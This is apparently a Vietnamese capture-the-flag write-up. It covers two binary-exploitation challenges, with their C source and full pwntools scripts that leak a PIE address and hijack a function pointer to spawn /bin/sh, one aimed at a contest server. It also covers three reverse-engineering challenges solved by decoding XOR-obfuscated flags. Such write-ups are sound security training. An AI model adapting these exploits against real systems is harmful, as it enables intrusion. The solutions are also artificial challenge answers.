## Vectorcalc **Source code:** ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define MAX_FAVES 4 #define MAX_VECTORS 3 struct Vector{ __uint64_t x; __uint64_t y; void (*printFunc)(struct Vector*); }; struct Vector v_list[MAX_VECTORS]; __uint64_t* sum; void* faves[MAX_FAVES]; void printData(struct Vector* v); void enterData(){ struct Vector* v; __uint64_t idx; printf("Index: "); scanf("%lu",&idx); if(idx > MAX_VECTORS){ puts("Invaild index!"); exit(-1); } v = &v_list[idx]; v->printFunc = printData; printf("Enter x: "); scanf("%lu",&v->x); printf("Enter y: "); scanf("%lu",&v->y); } void printData(struct Vector* v){ puts("Data: "); printf("v = [%lu %lu]\n",v->x,v->y); } void sumVector(){ __uint64_t idx; printf("Save the sum to index: "); scanf("%lu",&idx); if(idx > MAX_VECTORS){ puts("Invaild index!"); exit(-1); } sum = &v_list[idx]; for(__uint64_t i = 0 ; i < MAX_VECTORS ;++i){ if( i != idx){ ((struct Vector *)sum)->x += v_list[idx].x; ((struct Vector *)sum)->y += v_list[idx].y; } } } void loadFavorite(){ if(sum == NULL){ puts("You must set the sum before!"); return; } __uint64_t idx; printf("Index: "); scanf("%lu",&idx); if(idx >= MAX_FAVES){ puts("Invaild index!"); exit(-1); } faves[idx] = malloc(sizeof(struct Vector)); ((struct Vector *)faves[idx])->printFunc = printData; memcpy(faves[idx],&sum[idx], sizeof(struct Vector)); } void printFavorite(){ if(sum == NULL){ puts("You must set the sum before!"); return; } __uint64_t idx; printf("Index: "); scanf("%lu",&idx); if(idx >= MAX_FAVES || faves[idx] == NULL){ puts("Invaild index!"); exit(-1); } if( ((__uint64_t *)faves[idx])[2] ) ((struct Vector *)faves[idx])->printFunc(faves[idx]); else ((struct Vector *)sum)->printFunc(faves[idx]); } void addFavorute(){ __uint64_t idx; printf("Index: "); scanf("%lu",&idx); if(idx >= MAX_FAVES || faves[idx] == NULL){ puts("Invaild index!"); exit(-1); } ((struct Vector *)sum)->x += ((struct Vector *)faves[idx])->x; ((struct Vector *)sum)->y += ((struct Vector *)faves[idx])->y; } void init(){ setbuf(stdin,NULL); setbuf(stdout,NULL); for(__uint64_t i = 0 ; i < MAX_VECTORS ;++i){ v_list[i].printFunc = printData; } } void printMenu(){ printf( "\r\n" "1. Enter data.\n" "2. Sum vector.\n" "3. Print sum vector\n" "4. Save sum to favorite\n" "5. Print favorite\n" "6. Add favorite to the sum\n" "> " ); } int main(int argc, char** argv, char** envp){ init(); __uint32_t choice ; while(1){ printMenu(); scanf("%u", &choice); switch (choice) { case 1: enterData(); break; case 2: sumVector(); break; case 3: ((struct Vector *)sum)->printFunc(sum); break; case 4: loadFavorite(); break; case 5: printFavorite(); break; case 6: addFavorute(); break; default: puts("Invaild option!"); exit(-1); } } } void w1n(); // try to view the code in a disassembler :) ``` Chương trình cho 6 option, thực hiện các phép tính cộng trừ trên 1 vector là 1 struct gồm x, y, và hàm printFunc Đề cập tới hàm `w1n`, đây chính là hàm gọi `system("/bin/sh 1>/dev/null")`. Có nghĩa mục tiêu của chúng ta là đến được hàm `w1n`, cũng như mở ra 1 shell bình thường (do stdout đã bị đưa vào `/dev/null`) ### Finding the bug ```c void loadFavorite(){ if(sum == NULL){ puts("You must set the sum before!"); return; } __uint64_t idx; printf("Index: "); scanf("%lu",&idx); if(idx >= MAX_FAVES){ puts("Invaild index!"); exit(-1); } faves[idx] = malloc(sizeof(struct Vector)); ((struct Vector *)faves[idx])->printFunc = printData; memcpy(faves[idx],&sum[idx], sizeof(struct Vector)); } ``` Tại option 4, chúng ta để ý dùng memcpy để copy nội dung từ `&sum[idx]` vào `faves[idx]`, nhưng hãy để ý kiểu của `sum` và `faves`, trong khi `faves` là một `vector *` thì `sum` lại là `uint64_t*`. Nếu như `&(sum[idx] + 2)` là con trỏ tới hàm `w1n`, kết hợp với option 5. ```c if( ((__uint64_t *)faves[idx])[2] ) ((struct Vector *)faves[idx])->printFunc(faves[idx]); else ((struct Vector *)sum)->printFunc(faves[idx]); } ``` Ta sẽ biến `((struct Vector*)faves[idx])->printFunc` thành hàm w1n. Như vậy sẽ gọi được shell. **Final script** ```py from pwn import * e = context.binary = ELF("./chall") r = e.process() #r = remote("45.122.249.68", 20017) gs = """ b*printFavorite+298 b*printFavorite+257 b*loadFavorite+265 """ #gdb.attach(r, gs) r.recv() r.sendline(b'1') r.recv() r.sendline(b'0') r.recv() r.sendline(b'100') r.recv() r.sendline(b'100') r.recv() r.sendline(b'2') r.recv() r.sendline(b'2') r.recv() r.sendline(b'4') r.recv() #pause() r.sendline(b'3') r.recv() r.sendline(b'5') r.recv() r.sendline(b'3') r.recvuntil(b'v = [') e.address = int(r.recvuntil(b' ')) - 0x4070 log.info(f'PIE: {hex(e.address)}') r.recv() r.sendline(b'1') r.recv() r.sendline(b'0') r.recv() r.sendline(b'21') r.recv() r.sendline(b'30') r.recv() r.sendline(b'1') r.recv() r.sendline(b'1') r.recv() r.sendline(b'40') r.recv() r.sendline(b'35') r.recv() r.sendline(b'1') r.recv() r.sendline(b'2') r.recv() r.sendline(str(e.sym['w1n']).encode()) r.recv() r.sendline(str(e.sym['w1n']).encode()) r.recv() r.sendline(b'1') r.recv() r.sendline(b'3') r.recv() r.sendline(b'20') r.recv() r.sendline(b'20') r.recv() r.sendline(b'2') r.recv() r.sendline(b'1') r.recv() r.sendline(b'4') r.recv() r.sendline(b'1') r.recv() r.sendline(b'5') r.recv() r.sendline(b'1') r.sendline(b'/bin/sh 1>&2') r.interactive() ``` ## Vectorcalc Revenge Tương tự như bài `Vectorcalc` vừa nãy, bài này đã thay thế tham số truyền vào từ `/bin/sh 1>/dev/null` thành 1 chuỗi khác khiến ta không chiếm shell bằng cách gọi hàm `w1n`. Điều đó đồng nghĩa với việc ta phải modify con trỏ hàm trong option 5 thành `system@plt`, tham số khi gọi hàm sẽ là con trỏ chuỗi `/bin/sh`. Như vậy, mình sẽ dùng thêm option 1 để set các con trỏ thành chuỗi mình muốn, sau đó dùng option 4 để lưu `&(faves[1] + 2)` thành `system&plt`, sau đó dùng option 5 để gọi `system('/bin/sh')` **Final script** ```py from pwn import * e = context.binary = ELF("./chall_revenge") #r = e.process() r = remote("45.122.249.68", 20018) gs = """ b*printFavorite+298 b*printFavorite+257 """ #gdb.attach(r, gs) r.recv() r.sendline(b'1') r.recv() r.sendline(b'0') r.recv() r.sendline(b'100') r.recv() r.sendline(b'100') r.recv() r.sendline(b'2') r.recv() r.sendline(b'2') r.recv() r.sendline(b'4') r.recv() r.sendline(b'3') r.recv() r.sendline(b'5') r.recv() r.sendline(b'3') r.recvuntil(b'v = [') e.address = int(r.recvuntil(b' ')) - 0x4070 log.info(f'PIE: {hex(e.address)}') r.recv() r.sendline(b'1') r.recv() r.sendline(b'0') r.recv() r.sendline(b'21') r.recv() r.sendline(b'30') r.recv() r.sendline(b'1') r.recv() r.sendline(b'1') r.recv() r.sendline(str(u64(b'/bin/sh\0')).encode()) r.recv() r.sendline(str(u64(b'/bin/sh\0')).encode()) r.recv() r.sendline(b'1') r.recv() r.sendline(b'2') r.recv() r.sendline(str(e.plt.system).encode()) r.recv() r.sendline(str(e.plt.system).encode()) r.recv() r.sendline(b'1') r.recv() r.sendline(b'3') r.recv() r.sendline(b'20') r.recv() r.sendline(b'20') r.recv() r.sendline(b'2') r.recv() r.sendline(b'1') r.recv() r.sendline(b'4') r.recv() r.sendline(b'2') r.recv() r.sendline(b'1') r.recv() r.sendline(b'1') r.recv() r.sendline(str(u64(b'/bin/sh\0')).encode()) r.recv() r.sendline(str(u64(b'/bin/sh\0')).encode()) r.recv() r.sendline(b'4') r.recv() r.sendline(b'1') r.recv() r.sendline(b'5') r.recv() pause() r.sendline(b'1') r.interactive() ``` ## Intel Một bài khi chạy sẽ thấy 5 dấu `?` xuất hiện, và hàm main cũng rất đơn giản ![](https://hackmd.io/_uploads/BJfOe7rs3.png) ```sh 0x401620 <main> endbr64 0x401624 <main+4> xor eax, eax 0x401626 <main+6> ret ``` Mình quyết định debug và gdb bằng cơm đối với file này, sau một hồi mình thấy được 5 dấu chấm hỏi đó xuất phát từ đây ![](https://hackmd.io/_uploads/rkrm-QHjn.png) ![](https://hackmd.io/_uploads/HkvH-mri3.png) Các instruction phía sau đoạn code trên cũng rất đáng quan tâm Để ý thì trên `stack` chúng ta thấy được 1 phần khá giống flag do có đuôi '}' ![](https://hackmd.io/_uploads/SyE5-XHih.png) Mình quyết định si liên tục để xem toàn bộ flag. ![](https://hackmd.io/_uploads/B10pZQBi3.png) ## Vpn Một bài tương đối dễ, chỉ cần lấy từng kí tự trong chuỗi `encrypted_flag` xor với 9 sẽ ra chuỗi flag. Do khi mình mở IDA và đọc mã giả thì IDA báo lỗi như sau: ![](https://hackmd.io/_uploads/BJYknIFi3.png) Vì mình không research kịp ra cách để fix được lỗi này, nên mình quyết định chạy gdb bằng cơm, set breakpoint tại những chỗ đọc input và handle input của mình ``` .text:0000000000001330 mov edx, 20h ; ' ' ; nbytes .text:0000000000001335 mov rsi, rax ; buf .text:0000000000001338 mov edi, 0 ; fd .text:000000000000133D call _read .text:0000000000001342 mov [rbp+var_200044], eax .text:0000000000001348 cmp [rbp+var_200044], 0 .text:000000000000134F jg short loc_135B .text:0000000000001351 mov edi, 1 ; status .text:0000000000001356 call _exit .text:000000000000135B ; --------------------------------------------------------------------------- .text:000000000000135B .text:000000000000135B loc_135B: ; CODE XREF: main+E1↑j .text:000000000000135B mov eax, [rbp+var_200044] .text:0000000000001361 sub eax, 1 .text:0000000000001364 cdqe .text:0000000000001366 mov byte ptr [rbp+rax+buf], 0 .text:000000000000136E lea rax, [rbp+buf] .text:0000000000001375 mov rdi, rax ; s .text:0000000000001378 call _strlen .text:000000000000137D mov rbx, rax .text:0000000000001380 mov rax, cs:encrypted_flag .text:0000000000001387 mov rdi, rax ; s .text:000000000000138A call _strlen .text:000000000000138F cmp rbx, rax .text:0000000000001392 jz short loc_13B2 .text:0000000000001394 lea rax, aInvalidLicense ; "Invalid license key!" .text:000000000000139B mov rdi, rax ; format .text:000000000000139E mov eax, 0 .text:00000000000013A3 call _printf .text:00000000000013A8 mov edi, 1 ; status .text:00000000000013AD call _exit .text:00000000000013B2 ; ---------------------------------- ``` Cụ thể, hàm `read` sẽ đọc tối đa 32 bytes từ stdin, nên mình sẽ `brva 0x133D` Sau đó ta thấy nó `cmp [rbp+var_200044], 0`, mà [rbp+var_200044] được lấy giá trị từ `eax`. Hàm read sau khi đọc xong, sẽ có return value chính là số lượng byte mà người dùng đã nhập vào. ![](https://hackmd.io/_uploads/SkyEa8Fi3.png) Return value này sẽ được lưu vào `eax`. Như vậy có nghĩa là, khi gọi `strlen` sẽ so sánh độ dài input của người dùng và của chuỗi flag. ```c .text:00000000000013BE mov rdx, cs:encrypted_flag .text:00000000000013C5 mov eax, [rbp+var_200048] .text:00000000000013CB cdqe .text:00000000000013CD add rax, rdx .text:00000000000013D0 movzx edx, byte ptr [rax] .text:00000000000013D3 mov eax, [rbp+var_200048] .text:00000000000013D9 cdqe .text:00000000000013DB movzx eax, byte ptr [rbp+rax+buf] .text:00000000000013E3 xor eax, 9 .text:00000000000013E6 cmp dl, al .text:00000000000013E8 jz short loc_1408 .text:00000000000013EA lea rax, aInvalidLicense ; "Invalid license key!" .text:00000000000013F1 mov rdi, rax ; format .text:00000000000013F4 mov eax, 0 .text:00000000000013F9 call _printf .text:00000000000013FE mov edi, 1 ; status .text:0000000000001403 call _exit ``` Đây chính là đoạn handle input, vì mình thấy nó khá đơn giản. Đây thực chất chỉ là 1 vòng lặp và sẽ xor từng byte của flag với 9. Vì xor có tính chất đối xứng, nên không khó để ta tìm được chuỗi flag ban đầu. ```py s = '^8rq9{Vd:VyesV~9|emVph6t' t = '' for i in range(len(s)): t += chr(ord(s[i])^9) print(t) ``` ## Vault Ta thấy tương tự như bài `vpn`, bài này cũng cho một chuỗi flag đã bị encrypted. Đồng thời, thuật toán để encrypt flag cũng trông phức tạp hơn. Mình vẫn sẽ làm như bài `vpn`, set breakpoint tại lệnh `read`, sau đó kiểm tra đoạn code handle input của mình. ```c .text:0000000000001353 mov edx, 30h ; '0' ; nbytes .text:0000000000001358 mov rsi, rax ; buf .text:000000000000135B mov edi, 0 ; fd .text:0000000000001360 call _read .text:0000000000001365 mov [rbp+var_2001D4], eax .text:000000000000136B cmp [rbp+var_2001D4], 0 .text:0000000000001372 jg short loc_137E .text:0000000000001374 mov edi, 1 ; status .text:0000000000001379 call _exit .text:000000000000137E ; --------------------------------------------------------------------------- .text:000000000000137E .text:000000000000137E loc_137E: ; CODE XREF: main+104↑j .text:000000000000137E mov eax, [rbp+var_2001D4] .text:0000000000001384 sub eax, 1 .text:0000000000001387 cdqe .text:0000000000001389 mov byte ptr [rbp+rax+buf], 0 .text:0000000000001391 lea rax, [rbp+buf] .text:0000000000001398 mov rdi, rax ; s .text:000000000000139B call _strlen .text:00000000000013A0 cmp rax, 20h ; ' ' .text:00000000000013A4 jz short loc_13BF .text:00000000000013A6 lea rax, s ; "Invalid vault key!" .text:00000000000013AD mov rdi, rax ; s .text:00000000000013B0 call _puts .text:00000000000013B5 mov edi, 1 ; status .text:00000000000013BA call _exit ``` Giống như bài `vpn`, chương trình sẽ kiểm tra độ dài input. Nếu không bằng 32 thì sẽ exit. Vậy ta biết được độ dài flag là 32. ```c .text:00000000000013CE mov eax, [rbp+var_2001D8] .text:00000000000013D4 cdqe .text:00000000000013D6 movzx eax, byte ptr [rbp+rax+buf] .text:00000000000013DE movsx rdx, al .text:00000000000013E2 mov eax, [rbp+var_2001D8] .text:00000000000013E8 cdqe .text:00000000000013EA mov [rbp+rax*8+var_2001D0], rdx .text:00000000000013F2 mov eax, [rbp+var_2001D8] .text:00000000000013F8 cdqe .text:00000000000013FA mov rdx, [rbp+rax*8+var_2001D0] .text:0000000000001402 mov eax, [rbp+var_2001D8] .text:0000000000001408 cdqe .text:000000000000140A xor rdx, rax .text:000000000000140D mov eax, [rbp+var_2001D8] .text:0000000000001413 cdqe .text:0000000000001415 mov [rbp+rax*8+var_2001D0], rdx .text:000000000000141D mov eax, [rbp+var_2001D8] .text:0000000000001423 cdqe .text:0000000000001425 mov rax, [rbp+rax*8+var_2001D0] .text:000000000000142D shl rax, 10h .text:0000000000001431 mov rdx, rax .text:0000000000001434 mov eax, [rbp+var_2001D8] .text:000000000000143A cdqe .text:000000000000143C mov [rbp+rax*8+var_2001D0], rdx .text:0000000000001444 mov eax, [rbp+var_2001D8] .text:000000000000144A and eax, 1 .text:000000000000144D test eax, eax .text:000000000000144F jz short loc_147C .text:0000000000001451 mov eax, [rbp+var_2001D8] .text:0000000000001457 cdqe .text:0000000000001459 mov rax, [rbp+rax*8+var_2001D0] .text:0000000000001461 xor rax, 2070h .text:0000000000001467 mov rdx, rax .text:000000000000146A mov eax, [rbp+var_2001D8] .text:0000000000001470 cdqe .text:0000000000001472 mov [rbp+rax*8+var_2001D0], rdx .text:000000000000147A jmp short loc_14A5 .text:000000000000147C ; --------------------------------------------------------------------------- .text:000000000000147C .text:000000000000147C loc_147C: ; CODE XREF: main+1E1↑j .text:000000000000147C mov eax, [rbp+var_2001D8] .text:0000000000001482 cdqe .text:0000000000001484 mov rax, [rbp+rax*8+var_2001D0] .text:000000000000148C xor rax, 7020h .text:0000000000001492 mov rdx, rax .text:0000000000001495 mov eax, [rbp+var_2001D8] .text:000000000000149B cdqe .text:000000000000149D mov [rbp+rax*8+var_2001D0], rdx .text:00000000000014A5 .text:00000000000014A5 loc_14A5: ; CODE XREF: main+20C↑j .text:00000000000014A5 mov eax, [rbp+var_2001D8] .text:00000000000014AB cdqe .text:00000000000014AD mov rdx, [rbp+rax*8+var_2001D0] .text:00000000000014B5 mov eax, [rbp+var_2001D8] .text:00000000000014BB cdqe .text:00000000000014BD xor rdx, rax .text:00000000000014C0 mov eax, [rbp+var_2001D8] .text:00000000000014C6 cdqe .text:00000000000014C8 mov [rbp+rax*8+var_2001D0], rdx .text:00000000000014D0 mov eax, [rbp+var_2001D8] .text:00000000000014D6 cdqe .text:00000000000014D8 mov rdx, [rbp+rax*8+var_2001D0] .text:00000000000014E0 mov eax, [rbp+var_2001D8] .text:00000000000014E6 cdqe .text:00000000000014E8 lea rcx, ds:0[rax*8] .text:00000000000014F0 lea rax, enc_flag .text:00000000000014F7 mov rax, [rcx+rax] .text:00000000000014FB cmp rdx, rax .text:00000000000014FE jz short loc_1519 .text:0000000000001500 lea rax, s ; "Invalid vault key!" .text:0000000000001507 mov rdi, rax ; s .text:000000000000150A call _puts .text:000000000000150F mov edi, 1 ; status .text:0000000000001514 call _exit .text:0000000000001519 ; --------------------------------------------------------------------------- .text:0000000000001519 .text:0000000000001519 loc_1519: ; CODE XREF: main+290↑j .text:0000000000001519 add [rbp+var_2001D8], 1 .text:0000000000001520 .text:0000000000001520 loc_1520: ; CODE XREF: main+15B↑j .text:0000000000001520 mov eax, [rbp+var_2001D8] .text:0000000000001526 movsxd rbx, eax .text:0000000000001529 lea rax, [rbp+buf] .text:0000000000001530 mov rdi, rax ; s .text:0000000000001533 call _strlen .text:0000000000001538 cmp rbx, rax .text:000000000000153B jb loc_13CE .text:0000000000001541 lea rax, aVaultAuthorize ; "Vault authorized!" .text:0000000000001548 mov rdi, rax ; s .text:000000000000154B call _puts .text:0000000000001550 mov edi, 0 ; status .text:0000000000001555 call _exit ``` Đây sẽ là đoạn code xử lý input của mình. Trông dài nhưng mình sẽ phân tích chi tiết như sau: Ta biết được khi chạy trên gdb, `[rbp+rax*8+var_2001D0]` sẽ là chuỗi input của chúng ta sẽ được mã hoá và đem so sánh với `enc_flag` lần lượt từ 0 &rarr;31. Và sau đó, chương trình sẽ lấy từng byte trong input của chúng ta đem dịch 10 bit qua trái. Sau đó, chương trình sẽ check xem biến count của chúng ta đang là chẵn hay lẻ. Nếu là chẵn thì sẽ đem kết quả vừa dịch bit được xor với 0x7020, còn lẻ thì sẽ đem kết quả đó xor với 0x2070. Kết quả sau khi nhận được sẽ được lưu vào `[rbp+rax*8+var_2001D0]`, với rax là biến đếm. Và sau đó `[rbp+rax*8+var_2001D0]` sẽ được đem so sánh lần lượt với `enc_flag[rax]`. Vậy mấu chốt ở đây là đối với mỗi phần tử trong `enc_flag`, ta chỉ cần quan tâm tới byte MSB của `enc_flag[count]`, với count chạy từ 0 &rarr; 31. Vì chương trình lấy từng byte của chuỗi đem dịch 10 bit qua trái, chính vì vậy ta chỉ cần reverse để lấy được byte đầu của chuỗi bằng cách dịch phải 10 bit. Từ đó sẽ có được flag. ```py a = [0x577020, 0x302071, 0x797022, 0x612073, 0x357024, 0x712075, 0x597026, 0x372077, 0x787028, 0x3a2079, 0x78702a, 0x6a207b, 0x78702c, 0x3c207d, 0x3e702e, 0x61207f, 0x4f7030, 0x672061, 0x737032, 0x662063, 0x787034, 0x612065, 0x497036, 0x702067, 0x777038, 0x762069, 0x7e703a, 0x44206b, 0x76703c, 0x2d206d, 0x7c703e, 0x62206f] s = '' for i in range(32): t = a[i] >> 16 t ^= i s += chr(t) print(s) ```